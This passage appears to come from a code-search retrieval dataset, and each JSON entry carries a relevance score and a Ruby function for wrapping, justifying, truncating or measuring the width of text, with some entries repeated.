@fonts[font].c[tmp].nil? ? 0 : @fonts[font].c[tmp]['WX']\n brkw = (w - z) * size / 1000.0\n end\n end\n end\n\n # There was no need to break this line.\n justification = :left if justification == :full\n tmpw = (w * size) / 1000.0\n x, adjust = adjust_wrapped_text(text, tmpw, width, x, justification)\n # reset the text state\n @current_text_state = t_CTS.dup\n current_font!\n add_text(x, y, text, size, angle, adjust) unless test\n return \"\"\n end",
"title": ""
},
{
"docid": "ef8c986964e5ba321234424f61d69247",
"score": "0.713343",
"text": "def wrap_text(txt, col)\n txt.gsub(/(.{1,#{col}})( +|$)\\n?|(.{#{col}})/,\"\\\\1\\\\3\\n\")\n end",
"title": ""
},
{
"docid": "30a70f56c36bbb5e7326db6cf3f40622",
"score": "0.71007186",
"text": "def wrap(text)\n @proxy.wrap(text)\n end",
"title": ""
},
{
"docid": "2e77a2a6754743dc4c930dabe832c1cc",
"score": "0.70903426",
"text": "def wrap(s, width=80)\n s.gsub(/(.{1,#{width}})(\\s+|\\Z)/, \"\\\\1\\n\")\nend",
"title": ""
},
{
"docid": "32804142d680db0cea18d99697d46c55",
"score": "0.702124",
"text": "def adjust_wrapped_text(text, actual, width, x, just)\n adjust = 0\n\n case just\n when :left\n nil\n when :right\n x += (width - actual)\n when :center\n x += (width - actual) / 2.0\n when :full\n spaces = text.count(\" \")\n adjust = (width - actual) / spaces.to_f if spaces > 0\n end\n\n [x, adjust]\n end",
"title": ""
},
{
"docid": "da766b810f2c9d4a6c39e63443e0efd9",
"score": "0.7010181",
"text": "def word_wrap(text, line_width = nil)\n width = line_width.nil? ? $options[:width] : line_width\n text.split(\"\\n\").collect do |line|\n begin\n # convert nonbreaking spaces to normal spaces\n line.gsub!(/\\xc2\\xa0/u, ' ') \n rescue\n end\n line.length > width ? line.gsub(/(.{1,#{width}})(\\s+|$)/, \"\\\\1\\n\").strip : line\n end * \"\\n\"\nend",
"title": ""
},
{
"docid": "3517aae9c55d01e3c3569c822d46a78b",
"score": "0.698874",
"text": "def wrap(text, length, indent=0, padding=0)\n if text.length > length - indent\n paragraphs = []\n line = ''\n text.split(/\\s+/).map(&:chomp).reject(&:empty?).each do |fragment|\n if line.length < length - indent\n line << fragment + ' '\n else\n paragraphs << line\n line = padding + fragment + ' '\n end\n end\n paragraphs << line\n text = paragraphs.join(\"\\n\")\n end\n text\n end",
"title": ""
},
{
"docid": "241abb7ee8acd085594e32e2928a58a1",
"score": "0.6974307",
"text": "def wrap(width)\n width ||= 80\n output = []\n indent = ''\n\n text = gsub(/\\t/, ' ')\n\n text.lines do |line|\n line.chomp! \"\\n\"\n if line.length > width\n indent = if line.uncolor =~ /^(\\s*(?:[+\\-*]|\\d+\\.) )/\n ' ' * Regexp.last_match[1].length\n else\n ''\n end\n new_lines = line.split_line(width)\n\n while new_lines.length > 1 && new_lines[1].length + indent.length > width\n output.push new_lines[0]\n\n new_lines = new_lines[1].split_line(width, indent)\n end\n output += [new_lines[0], indent + new_lines[1]]\n else\n output.push line\n end\n end\n output.map!(&:rstrip)\n output.join(\"\\n\")\n end",
"title": ""
},
{
"docid": "2b55dd0b9be45cd7db3846be372ccefb",
"score": "0.69443786",
"text": "def wrap_long_string(text, max_width = 30)\n zero_width_space = \"​\"\n regex = /.{1,#{max_width}}/\n (text.length < max_width) ? text :\n text.scan(regex).join(zero_width_space)\n end",
"title": ""
},
{
"docid": "645d54e8fd4cfce1b58e16a2feacad7c",
"score": "0.6918055",
"text": "def wrap_text=(value)\n @wrap_text = value\n end",
"title": ""
},
{
"docid": "ffd41a5ce632b0046e2ded06fe0aeeb2",
"score": "0.6891753",
"text": "def format_text(text, wrap, indent=0)\n result = []\n work = clean_text(text)\n\n while work.length > wrap do\n if work =~ /^(.{0,#{wrap}})[ \\n]/\n result << $1.rstrip\n work.slice!(0, $&.length)\n else\n result << work.slice!(0, wrap)\n end\n end\n\n result << work if work.length.nonzero?\n result.join(\"\\n\").gsub(/^/, \" \" * indent)\n end",
"title": ""
},
{
"docid": "ffd41a5ce632b0046e2ded06fe0aeeb2",
"score": "0.6891753",
"text": "def format_text(text, wrap, indent=0)\n result = []\n work = clean_text(text)\n\n while work.length > wrap do\n if work =~ /^(.{0,#{wrap}})[ \\n]/\n result << $1.rstrip\n work.slice!(0, $&.length)\n else\n result << work.slice!(0, wrap)\n end\n end\n\n result << work if work.length.nonzero?\n result.join(\"\\n\").gsub(/^/, \" \" * indent)\n end",
"title": ""
},
{
"docid": "998ba5054789601648178e8afd91a6d2",
"score": "0.68562955",
"text": "def wrap(width=nil)\n if width.nil? or width < 0\n term_width, _ = Term.size\n\n if width and width < 0\n width = (term_width - 1) + width\n else\n width = term_width - 1\n end\n end\n\n return self if size <= width\n\n strings = []\n start_pos = 0\n end_pos = width\n\n loop do\n split_pos = rindex(/\\s/, end_pos) || end_pos\n\n strings << self[start_pos...split_pos]\n\n start_pos = index(/\\S/, split_pos)\n break if start_pos == nil\n end_pos = start_pos + width\n\n if end_pos > size\n strings << self[start_pos..-1]\n break\n end\n end\n\n if block_given?\n strings.each { |s| yield s }\n else\n strings.join(\"\\n\")\n end\n end",
"title": ""
},
{
"docid": "cb70de58d2c9336378ed93200df20efb",
"score": "0.68309",
"text": "def word_wrap(text, line_width: 80, break_sequence: \"\\n\")\n # Match up to `line_width` characters, followed by one of\n # (1) non-newline whitespace plus an optional newline\n # (2) the end of the string, ignoring any trailing newlines\n # (3) a newline\n #\n # -OR-\n #\n # Match an empty line\n pattern = /(.{1,#{line_width}})(?:[^\\S\\n]+\\n?|\\n*\\Z|\\n)|\\n/\n\n text.gsub(pattern, \"\\\\1#{break_sequence}\").chomp!(break_sequence)\n end",
"title": ""
},
{
"docid": "514d806ff66beee20135985b4db7e0ec",
"score": "0.6812736",
"text": "def wrap(num_lines)\n cleaned = gsub(/\\s+/, ' ').strip\n\n chars_per_line = cleaned.size / num_lines.to_f\n\n lines = []\n cleaned.split.each do |word|\n if lines.empty?\n lines << word\n else\n if (lines[-1].size + 1 + word.size) <= chars_per_line ||\n lines.size >= num_lines\n lines[-1] << ' ' unless lines[-1].empty?\n lines[-1] << word\n else\n lines << word\n end\n end\n end\n\n Caption.new(lines.join(\"\\n\"))\n end",
"title": ""
},
{
"docid": "09bcd22a30ae3c25b3f05269e2fd0a22",
"score": "0.68098444",
"text": "def word_wrap(txt, line_length) # :nodoc:\n txt.split(\"\\n\").collect do |line|\n line.length > line_length ? line.gsub(/(.{1,#{line_length}})(\\s+|$)/, \"\\\\1\\n\").strip : line\n end * \"\\n\"\n end",
"title": ""
},
{
"docid": "6b782e577823e0174d0247c5a188b61b",
"score": "0.678864",
"text": "def Columnize( text, width, indent )\n\treturn indent + text.scan(/(.{1,#{width}})(?: |$)/).join(\"\\n#{indent}\")\nend",
"title": ""
},
{
"docid": "72299530a45423a50f9add5c862a1b05",
"score": "0.6766925",
"text": "def breaking_word_wrap(txt, col = 80)\n txt.gsub(/(.{1,#{col}})( +|$\\n?)|(.{1,#{col}})/,\n \"\\\\1\\\\3\\n\")\n end",
"title": ""
},
{
"docid": "1670d4c4776aef3fdf7a00d275942aff",
"score": "0.6718728",
"text": "def text_breaking_wrap(txt, col = 80)\n return nil if txt.blank?\n txt.gsub(/(.{1,#{col}})( +|$\\n?)|(.{1,#{col}})/, \"\\\\1\\\\3 \")\n end",
"title": ""
},
{
"docid": "3da89bd8a4cad5aaf3ea450c0443d093",
"score": "0.6694467",
"text": "def word_wrap(txt, line_length)\n txt.split(\"\\n\").collect do |line|\n line.length > line_length ? line.gsub(/(.{1,#{line_length}})(\\s+|$)/, \"\\\\1\\n\").strip : line\n end * \"\\n\"\n end",
"title": ""
},
{
"docid": "a6246587253dc361a74383953081db23",
"score": "0.66857624",
"text": "def justify(text, width)\n justify_lines text.split(/\\W+/), width\nend",
"title": ""
},
{
"docid": "382d41f4f57c355697845069bb0268a7",
"score": "0.6649869",
"text": "def reformat_wrapped(s, width = Config::Gui::MSG_WIDTH - 1)\n \t lines = []\n \t line = \"\"\n \t s.split(/\\s+/).each do |word|\n \t if line.size + word.size >= width\n \t lines << line\n \t line = word\n \t elsif line.empty?\n \t line = word\n \t else\n \t line << \" \" << word\n \t end\n \t end\n \t lines << line if line\n \t return lines\n \tend",
"title": ""
},
{
"docid": "9e1f9d733295766613074d76a9c90d39",
"score": "0.66211194",
"text": "def word_wrap(text, indent=0)\n chars = text.split(//)\n unless text.length < 80\n count = 1\n last_space = 80\n chars.each_with_index do |char, index|\n count += 1\n last_space = index if char.match(/ /)\n if char == \"\\n\"\n count = indent\n elsif count == 80\n chars[last_space] = \"\\n#{\" \" * indent}\"\n count = indent + index - last_space\n end\n end\n end\n chars.join\n end",
"title": ""
},
{
"docid": "c276e5d00e07fd22d301644e9819f21a",
"score": "0.6617078",
"text": "def wrap(text)\n return text if @done\n\n text = \"#{@pre_wrap.values}#{text}\" if @pre_wrap\n\n if dyn_params[:id]\n @tag ||= 'div'\n end\n\n if @tag\n if text.blank? && EMPTY_TAGS.include?(@tag)\n res = \"#{@pre_wrap}<#{@tag}#{params_to_html}#{@append}/>\"\n else\n res = \"<#{@tag}#{params_to_html}#{@append}>#{text}</#{@tag}>\"\n end\n else\n res = text\n end\n @done = true\n\n (@space_before || '') + res + (@space_after || '')\n end",
"title": ""
},
{
"docid": "6e25006b12b158995580774af2140b8e",
"score": "0.6598177",
"text": "def wrap_list(list, width)\n list.map do |text|\n wrap_text(text, width)\n end.flatten\n end",
"title": ""
},
{
"docid": "c1460f2c00afe52ee8cc4475bb54ecbd",
"score": "0.6591429",
"text": "def test_wrap_text\n wrapped = \"Insert newlines into a paragraph of \" + \"\\n\" + \n \"prose (provided in a String) so lines \" + \"\\n\" +\n \"will wrap at 40 characters.\" + \"\\n\"\n paragraph = \"Insert newlines into a paragraph of \" + \n \"prose (provided in a String) so lines \" +\n \"will wrap at 40 characters.\"\n assert_equal wrapped, OneLiner.wrap_text(paragraph)\n end",
"title": ""
},
{
"docid": "aa3c78a90e80cc84ca6c6da39ae5eab5",
"score": "0.65615267",
"text": "def pango_render_text(width,font,text)\n pango = self.create_pango_layout\n pango.width = width*1000\n pango.wrap=Pango::WRAP_WORD\n pango.font_description = Pango::FontDescription.new(font)\n pango.markup=text\n self.show_pango_layout(pango)\n end",
"title": ""
},
{
"docid": "3ee82a991ef817861b2600d09e0aad3e",
"score": "0.65020025",
"text": "def word_wrap( s,width=10 )\n\tret=[]\n\tline=\"\"\n\ts.split.map { |x|\n\t\tword=x\n\t\tif line.size + x.size + 1 <= width\n\t\t\tline += x + \" \"\n\t\telse\n\t\t\tif word.size > width\n\t\t\t\tret << line\n\t\t\t\tline = \"\"\n\t\t\t\tw = word.clone\n\t\t\t\twhile w.size > width\n\t\t\t\t\tret << w[0..(width-1)]\n\t\t\t\t\tw = w[width.to_i..-1]\n\t\t\t\tend\n\t\t\t\tret << w unless w.size == 0\n\t\t\telse\n\t\t\t\tret << line\n\t\t\t\tline = x + \" \"\n\t\t\tend\n\t\tend\t\t\n \t}\n\tret << line unless line.empty?\n\n\tret\nend",
"title": ""
},
{
"docid": "a67626d54b73e86847d8e800e528e7fc",
"score": "0.6500791",
"text": "def justify(linewrap=false)\n\n\t\tif @linelength == 0 then @linelength = $screen.cols end\n\n\t\tif linewrap\n\t\t\tcols = @linelength\n\t\t\tif @text[@row].length < cols then return end\n\t\telse\n\t\t\t# ask for screen width\n\t\t\t# nil means cancel, empty means screen width\n\t\t\tans = $screen.ask(\"Justify width: \",[@linelength.to_s],true)\n\t\t\tif ans == nil\n\t\t\t\t$screen.write_message(\"Cancelled\")\n\t\t\t\treturn\n\t\t\tend\n\t\t\tif ans == \"\"\n\t\t\t\tcols = @linelength\n\t\t\telsif ans == \"0\"\n\t\t\t\tcols = $screen.cols\n\t\t\telsif ans.to_i < 0\n\t\t\t\tcols = $screen.cols + ans.to_i\n\t\t\telse\n\t\t\t\tcols = ans.to_i\n\t\t\tend\n\t\t\t@linelength = cols\n\t\tend\n\n\t\t# set start & end rows\n\t\tif @marked\n\t\t\tmark_row, row = ordered_mark_rows\n\t\telse\n\t\t\tmark_row = @row\n\t\t\trow = @row\n\t\tend\n\t\tnl = row - mark_row + 1\n\n\t\t# make one long line out of multiple lines\n\t\ttext = @text[mark_row..row].join(\" \")\n\t\tfor r in mark_row..row\n\t\t\tdelrow(mark_row)\n\t\tend\n\n\t\t# loop through words and check length\n\t\tc = 0\n\t\tr = mark_row\n\t\tloop do\n\t\t\tc2 = text.index(/([^\\s]\\s)|($)/,c) # end of next word\n\t\t\tif c2 == nil then break end # end, if no more words\n\t\t\t# if we are past the edge, then put it in the next row\n\t\t\t# Otherwise, keep going.\n\t\t\tif c2 >= (cols-1)\n\t\t\t\tif c == 0 then c = c2+1 end # careful about long words\n\t\t\t\tinsertrow(r,text[0,c])\n\t\t\t\ttext = text[c..-1]\n\t\t\t\tif text == nil then text = \"\" end\n\t\t\t\ttext.lstrip!\n\t\t\t\tr += 1\n\t\t\t\tc = 0\n\t\t\telse\n\t\t\t\tc = c2+1\n\t\t\tend\n\t\t\tif text == nil || text == \"\"\n\t\t\t\ttext = \"\"\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\t\tinsertrow(r,text)\n\t\t$screen.write_message(\"Justified to \"+cols.to_s+\" columns\")\n\t\tif linewrap\n\t\t\tif @col >= @text[@row].length+1\n\t\t\t\t@col = @col - @text[@row].length - 1\n\t\t\t\t@row += 1\n\t\t\tend\n\t\telse\n\t\t\t@row = r\n\t\t\t@col = 0\n\t\tend\n\t\t@marked = false\n\tend",
"title": ""
},
{
"docid": "20ffeee671135b4ac2b9a4a1b6eae4a7",
"score": "0.6458863",
"text": "def break_down(text,line_width=80,replacement=\"\\n\")\r\n if text =~ /\\s/\r\n return text.gsub(/\\n/, \"\\n\\n\").gsub(/(.{1,#{line_width}})(\\s+|$)/, \"\\\\1\\n\").strip \r\n end\r\n return text if text.size <= line_width \r\n return text.gsub(/\\n/, \"\\n\\n\").gsub(/(.{1,#{line_width}})/, \"\\\\1#{replacement}\").strip\r\n end",
"title": ""
},
{
"docid": "914dc31cccf35c2f2caab92f76387bce",
"score": "0.6458828",
"text": "def wrap_text(hello, blank )\n return \"#{blank}#{hello}#{blank}\"\nend",
"title": ""
},
{
"docid": "e5a0edc1f8ec544d54a930251cde813a",
"score": "0.64394575",
"text": "def text_width(font_handle, text)\n end",
"title": ""
},
{
"docid": "a751eb996988f3a3e11e90b9b35dee08",
"score": "0.64299405",
"text": "def word_wrap(txt, maxlen, word_pattern = DEFAULT_WORD_PATTERN)\n words = txt.scan(word_pattern)\n\n words.each_with_object(['']) do |word, lines|\n last = lines.last\n wordlen = word.rstrip.length\n\n if wordlen > maxlen\n lines.concat(word.scan(/.{1,#{maxlen}}/))\n elsif last != '' && last.length + wordlen > maxlen\n lines << word\n else\n lines.last << word\n end\n end.delete_if(&:empty?).each(&:strip!)\n end",
"title": ""
},
{
"docid": "2269f82d02f58250e534746d3cb85285",
"score": "0.6405264",
"text": "def test_wrap_text\n wrapped = \"Insert newlines into a paragraph of \" + \"\\n\" +\n \"prose (provided in a String) so lines \" + \"\\n\" +\n \"will wrap at 40 characters.\"\n paragraph = \"Insert newlines into a paragraph of \" +\n \"prose (provided in a String) so lines \" +\n \"will wrap at 40 characters.\"\n assert_equal wrapped, OneLiner.wrap_text(paragraph)\n end",
"title": ""
},
{
"docid": "16b49699ff14fbed37fb4ac955836f4f",
"score": "0.6404259",
"text": "def wrap(width, width2 = nil)\n lines = []\n line = \"\"\n line_len = 0\n fragments.each do |frag|\n frag_len = frag.gsub(/\\e\\[\\d+(;\\d+)*m/, \"\").size\n if line_len.zero?\n line = frag\n line_len = frag_len\n elsif width && line_len + 1 + frag_len > width\n lines << line\n line = frag\n line_len = frag_len\n width = width2 if width2\n else\n line_len += frag_len + 1\n line = \"#{line} #{frag}\"\n end\n end\n lines << line if line_len.positive?\n lines\n end",
"title": ""
},
{
"docid": "ab5292fe514c7d07932930f0dfb850b4",
"score": "0.6378019",
"text": "def width(text)\n cur_page.width(text)\n end",
"title": ""
},
{
"docid": "daa906a1fcc1d25961e27a7d4dd4b3e0",
"score": "0.63663095",
"text": "def adjust_width\n self.width = [[text_size('O' * @max_characters).width + padding * 2,\n @title ? text_size(@title).width + padding * 2 : 0].max, Graphics.width].min\n end",
"title": ""
},
{
"docid": "9cc4805d2eec44466dd364eedfc7b096",
"score": "0.634295",
"text": "def wrap(string, max_len)\r\n # return if string fits wrap:\r\n return string if string.length <= max_len\r\n\r\n # what comes first? A space or the maximum wrap length?\r\n # store that index. Ignore the newline character as we don't\r\n # want the wrap registering it as a letter:\r\n break_index = string[0..max_len].gsub(\"\\n\", \" \").rindex(\" \") ||\r\n max_len\r\n\r\n # If we do have a newline\r\n if string[0..break_index].index(\"\\n\")\r\n # Then we want to restart the break_index count\r\n # so keep the string up to the newline character,\r\n # and send the rest of the string to the wrap function:\r\n string[0..string.index(\"\\n\")] +\r\n wrap(string[string.index(\"\\n\")+1..-1], max_len)\r\n else\r\n # Otherwise store the string up to the break_index\r\n # and send the rest through to the wrap function:\r\n string[0...break_index].strip + \"\\n\" +\r\n wrap(string[break_index..-1].strip, max_len)\r\n end\r\n\r\nend",
"title": ""
},
{
"docid": "25946ff8cebb7cc75fce4f2de3a9ee51",
"score": "0.63239235",
"text": "def text\n add_spaces(@text, @chars_per_group)\n end",
"title": ""
},
{
"docid": "6f46c625467b80faf020f1aa4fc128eb",
"score": "0.6317904",
"text": "def shrink_to_fit(text)\n wrap(text)\n until @everything_printed || @font_size <= @min_font_size\n @font_size = [@font_size - 0.3, @min_font_size].max\n @document.font_size = @font_size\n wrap(text)\n end\n end",
"title": ""
},
{
"docid": "0b79583278eb5e1da8b26c6c51daa8c2",
"score": "0.62975496",
"text": "def format_text(info, size)\n info.to_s.gsub(\"\\n\", ' ')[0, size-1].ljust(size)\n end",
"title": ""
},
{
"docid": "ec9c245b38e3acea9ee2fc12a83b515f",
"score": "0.6278716",
"text": "def shrink_text(text, num_words=5)\n text = text.split[0..(num_words-1)].join(\" \") + (text.split.size > num_words ? \"...\" : \"\")\n return text\n end",
"title": ""
},
{
"docid": "33b510edd8e5e157a13fa7a23c17e396",
"score": "0.62222457",
"text": "def text(obj, width=obj.length)\n if @buffer.empty?\n @output << obj\n @output_width += width\n else\n text = @buffer.last\n unless Text === text\n text = Text.new\n @buffer << text\n end\n text.add(obj, width)\n @buffer_width += width\n break_outmost_groups\n end\n end",
"title": ""
},
{
"docid": "33b510edd8e5e157a13fa7a23c17e396",
"score": "0.62222457",
"text": "def text(obj, width=obj.length)\n if @buffer.empty?\n @output << obj\n @output_width += width\n else\n text = @buffer.last\n unless Text === text\n text = Text.new\n @buffer << text\n end\n text.add(obj, width)\n @buffer_width += width\n break_outmost_groups\n end\n end",
"title": ""
},
{
"docid": "33b510edd8e5e157a13fa7a23c17e396",
"score": "0.62222457",
"text": "def text(obj, width=obj.length)\n if @buffer.empty?\n @output << obj\n @output_width += width\n else\n text = @buffer.last\n unless Text === text\n text = Text.new\n @buffer << text\n end\n text.add(obj, width)\n @buffer_width += width\n break_outmost_groups\n end\n end",
"title": ""
},
{
"docid": "c0452d334c6f6309059c887afe9e767c",
"score": "0.6209847",
"text": "def fold_paragraph(paragraph, max_width)\n # Gradually build our output\n str, *rest = paragraph\n width = str.length\n\n rest.each do |word|\n if width + word.length + 1 <= max_width\n str << ' ' << word\n width += word.length + 1\n else\n str << \"\\n\" << word\n width = word.length\n end\n end\n\n str\nend",
"title": ""
},
{
"docid": "55187752bc551fe9839267bb88c043bc",
"score": "0.61933297",
"text": "def generate_layout(width, text)\n layout = ::Swt::TextLayout.new Shoes.display\n layout.setText text\n layout.setSpacing(@opts[:leading] || DEFAULT_SPACING)\n font = ::Swt::Font.new Shoes.display, @dsl.font, @dsl.font_size,\n ::Swt::SWT::NORMAL\n style = ::Swt::TextStyle.new font, nil, nil\n layout.setStyle style, 0, text.length - 1\n shrink_layout_to(layout, width) unless layout_fits_in?(layout, width)\n\n font.dispose\n\n layout\n end",
"title": ""
},
{
"docid": "fc6c3502ff92b9faba66e61a3a8cdd78",
"score": "0.61889696",
"text": "def wrap(txt, line_len = 76)\n res = \"\"\n sp = 0\n ep = txt.length\n while sp < ep\n # scan back for a space\n p = sp + line_len - 1\n if p >= ep\n p = ep\n else\n while p > sp and txt[p] != ?\\s\n p -= 1\n end\n if p <= sp\n p = sp + line_len\n while p < ep and txt[p] != ?\\s\n p += 1\n end\n end\n end\n res << txt[sp...p] << \"\\n\"\n sp = p\n sp += 1 while sp < ep and txt[sp] == ?\\s\n end\n res\n end",
"title": ""
},
{
"docid": "35d1f46454755901b6826ea1cad2cfd7",
"score": "0.6186403",
"text": "def width\n @font.text_width(self.text)\n end",
"title": ""
},
{
"docid": "c5cd95b57d50410155cdfb5fb3df3e05",
"score": "0.61850667",
"text": "def wrap( content )\n content\n end",
"title": ""
},
{
"docid": "45a8e8d3408c54ca300094a57372362d",
"score": "0.6173368",
"text": "def word_wrap(input, max_width)\n # List of lines, where each line is a list of words.\n lines = [[]]\n\n # Add words to the last line until it would go over the max\n # width, in which case start a new line.\n input.split(/ +/).each do |word|\n if (lines + [word]).join(' ').size < max_width\n lines.last << word\n else\n lines << [word]\n end\n end\n\n # We're done, just turn the lists of words into actual lines.\n return lines.map { |l| l.join(' ') }\n end",
"title": ""
},
{
"docid": "0e65a6bc6e6a8aa7c152d73d251cf030",
"score": "0.61556965",
"text": "def textwidth(txt, width=nil)\n push\n start = CGContextGetTextPosition(@ctx)\n CGContextSetTextDrawingMode(@ctx, KCGTextInvisible)\n CGContextShowText(@ctx, txt, txt.length)\n final = CGContextGetTextPosition(@ctx)\n pop\n final.x - start.x\n end",
"title": ""
},
{
"docid": "d62efae51213ff200a77784b96190aa6",
"score": "0.61357796",
"text": "def cap_text(text, limit)\n if text.length > limit then\n return text[0..limit-2] + \"…\"\n end\n\n return \"%-#{limit}s\" % text\nend",
"title": ""
},
{
"docid": "56baa2e6ad4c396d1abf42cde3ad2deb",
"score": "0.6135497",
"text": "def LeftJustify(text, len)\r\n \r\n #prevent text bigger then len\r\n newtext = text.to_s[0..len - 1]\r\n \r\n\t#left justify\r\n newtext = newtext.to_s.ljust(len)\r\n \r\n return newtext\r\nend",
"title": ""
},
{
"docid": "65437ce4d9dbd8a5d56834ef52eace07",
"score": "0.612322",
"text": "def wrap_with_label(a_label, a_desc)\n spacer = \" \"*a_label.size\n desc_array = a_desc.fit(MAX_COLUMNS - a_label.size).split(\"\\n\")\n desc_array[0]= a_label + desc_array.first\n if desc_array.size > 1\n (1..desc_array.size-1).each do |x|\n desc_array[x] = spacer + desc_array[x]\n end\n end\n\n return desc_array.join(\"\\n\")\nend",
"title": ""
},
{
"docid": "c4cd3e3eaf56f556c7e9d66a9de1ee9a",
"score": "0.6116766",
"text": "def format_text(text, ljust_prop)\n \"#{text}\".ljust(ljust_prop)\n end",
"title": ""
},
{
"docid": "6bdddcbe0d6eb46f9ed2de00a501ad71",
"score": "0.6093579",
"text": "def wrap(txt, line_len = 76)\n res = \"\"\n sp = 0\n ep = txt.length\n while sp < ep\n # scan back for a space\n p = sp + line_len - 1\n if p >= ep\n p = ep\n else\n while p > sp and txt[p] != ?\\s\n p -= 1\n end\n if p <= sp\n p = sp + line_len\n while p < ep and txt[p] != ?\\s\n p += 1\n end\n end\n end\n res << txt[sp...p] << \"\\n\"\n sp = p\n sp += 1 while sp < ep and txt[sp] == ?\\s\n end\n res\n end",
"title": ""
},
{
"docid": "e3b19e2ae234c2cc0a763ec155548256",
"score": "0.60933185",
"text": "def breaking_wrap( s, max_width=5 )\n return s if s.blank? || s.length < max_width\n r = Regexp.new( \".{1,#{max_width}}\" )\n s.scan(r).join(\"<wbr>\")\n end",
"title": ""
},
{
"docid": "6bdddcbe0d6eb46f9ed2de00a501ad71",
"score": "0.60933024",
"text": "def wrap(txt, line_len = 76)\n res = \"\"\n sp = 0\n ep = txt.length\n while sp < ep\n # scan back for a space\n p = sp + line_len - 1\n if p >= ep\n p = ep\n else\n while p > sp and txt[p] != ?\\s\n p -= 1\n end\n if p <= sp\n p = sp + line_len\n while p < ep and txt[p] != ?\\s\n p += 1\n end\n end\n end\n res << txt[sp...p] << \"\\n\"\n sp = p\n sp += 1 while sp < ep and txt[sp] == ?\\s\n end\n res\n end",
"title": ""
},
{
"docid": "40e5e29d6b785cf439b5466b046dcd17",
"score": "0.60767895",
"text": "def print_in_box(text)\n width = text.size\n result = <<EOS\n+-#{'-' * width}-+\n| #{' ' * width} |\n| #{text} |\n| #{' ' * width} |\n+-#{'-' * width}-+\nEOS\n result\nend",
"title": ""
},
{
"docid": "c44f719a13703c13e556bc7110cb4bd9",
"score": "0.60752946",
"text": "def line_to_wrap; end",
"title": ""
},
{
"docid": "e6cdb0938ce8048aa68b693b4fa6791b",
"score": "0.6055128",
"text": "def wrap(body)\n separator = \" \"\n words = body.split(separator)\n sentences = []\n sentence = []\n words.each do |word|\n sentence.push(word)\n if (sentence).join(separator).length > 75\n sentence.pop\n sentences.push(sentence.join(separator))\n sentence = [word]\n end\n end\n if sentence.length > 0\n sentences.push(sentence.join(separator))\n end\n sentences.join(\"\\n\")\nend",
"title": ""
},
{
"docid": "2c88395344d574ca41c041e40989d711",
"score": "0.6051274",
"text": "def wrap(txt, prefix=@indent, linelen=@width)\n return unless txt && !txt.empty?\n\n txt = add_attributes_to(txt)\n next_prefix = prefix.tr(\"^ \", \" \")\n linelen -= prefix.size\n\n line = []\n\n until txt.empty?\n word = txt.next_word\n if word.size + line.size > linelen\n write_attribute_text(prefix, line)\n prefix = next_prefix\n line = []\n end\n line.concat(word)\n end\n\n write_attribute_text(prefix, line) if line.length > 0\n end",
"title": ""
},
{
"docid": "7c0539ba5febe04294d183fb80a32da4",
"score": "0.60331666",
"text": "def wrap text = nil, prefix = \"<nowiki>\", suffix = \"</nowiki>\"\n result = \"\"\n text = (yield(text)) || text if block_given?\n when_not_empty(text) { result = \"#{prefix}#{text}#{suffix}\" }\n result\n end",
"title": ""
},
{
"docid": "b1336ca03b6f06f9623bb047a1372bc4",
"score": "0.6006634",
"text": "def wrap options = {}\n width = options.fetch(:width, 76)\n commentchar = options.fetch(:commentchar, '')\n self.strip.split(\"\\n\").collect do |line|\n line.length > width ? line.gsub(/(.{1,#{width}})(\\s+|$)/, \"\\\\1\\n#{commentchar}\") : line\n end.map(&:strip).join(\"\\n#{commentchar}\")\n end",
"title": ""
},
{
"docid": "571b673bd40d8dc1d3ce3db46b7a3164",
"score": "0.5976814",
"text": "def expand(text)\n ln = text.length\n nb = (ln % 8) > 0 ? ((((ln - (ln % 8)) >> 3) + 1) << 3) : ln\n if ln < nb\n until text.length == nb do\n text += \"x\"\n end\n end\n text\n end",
"title": ""
},
{
"docid": "8fe91db44fbdb65e6ff99af90c084641",
"score": "0.5958904",
"text": "def stringwidth(text, fontsize)\n @p.stringwidth(text, self, fontsize)\n end",
"title": ""
},
{
"docid": "c6506733e2843d68e8957c8b0f95d33a",
"score": "0.59370685",
"text": "def widont(text)\n text.gsub(/([^\\s])\\s+([^\\s]+)\\s*$/, '\\1 \\2')\n end",
"title": ""
},
{
"docid": "07c92cac534a7c65cac4947edc6a1e2c",
"score": "0.5920462",
"text": "def wrap(string)\n if content =~ SINGLE_LINE_YIELD\n whitespace = $1\n content.sub(SINGLE_LINE_YIELD, string.split(/\\n/).map { |l| whitespace + l }.join(\"\\n\"))\n else\n content.sub(YIELD, string)\n end\n end",
"title": ""
},
{
"docid": "2304e01d5c97d8ecafb88ebadd56f872",
"score": "0.59043306",
"text": "def get_even_text(width, text)\n width -= 16\n # Replace all instances of \\v[n] to the game variable's value\n text.gsub!(\"\\v\") {\"\\\\v\"}\n text.gsub!(\"\\V\") {\"\\\\v\"}\n text.gsub!(/\\\\[Vv]\\[([0-9]+)\\]/) { $game_variables[$1.to_i] }\n # Break up the text into lines\n lines = text.split(\"\\n\")\n result = []\n # For each line generated from \\n\n lines.each{|text_line|\n # Divide text into each individual word\n words = text_line.split(' ')\n current_text = words.shift\n # If there were less than two words in that line, just push the text\n if words.empty?\n result.push(current_text == nil ? \"\" : current_text)\n next\n end\n # Evaluate each word and determine when text overflows to a new line\n words.each_index {|i|\n if self.contents.text_size(\"#{current_text} #{words[i]}\").width > width\n result.push(current_text)\n current_text = words[i]\n else\n current_text = \"#{current_text} #{words[i]}\"\n end\n result.push(current_text) if i >= words.size - 1\n }\n }\n return result\n end",
"title": ""
},
{
"docid": "67b0508a341cf89f43ed2a0e9679bb74",
"score": "0.58821136",
"text": "def wrap(txt, line_len = 76)\n res = []\n sp = 0\n ep = txt.length\n\n while sp < ep\n # scan back for a space\n p = sp + line_len - 1\n if p >= ep\n p = ep\n else\n while p > sp and txt[p] != ?\\s\n p -= 1\n end\n if p <= sp\n p = sp + line_len\n while p < ep and txt[p] != ?\\s\n p += 1\n end\n end\n end\n res << txt[sp...p] << \"\\n\"\n sp = p\n sp += 1 while sp < ep and txt[sp] == ?\\s\n end\n\n res.join.strip\n end",
"title": ""
},
{
"docid": "3741bd0337756c2f9a709fcd1e171fa5",
"score": "0.58773357",
"text": "def fakewrap(str, width, max)\n parts = str.split(/\\s+/)\n result = []\n\n # Work until were out of words\n until parts.length == 0 do\n part = ''\n\n # Work as long as we're under the character limit\n while part.length < width do\n part = [part, parts.shift].join(' ')\n end\n result << part.strip\n end\n\n # If we're over the max lines, ellipsis the last line\n if result.length > max\n result = result[0..max - 1]\n result << '...'\n end\n return result\nend",
"title": ""
},
{
"docid": "6a3154cbaf770c8c9f38517090104e02",
"score": "0.58770996",
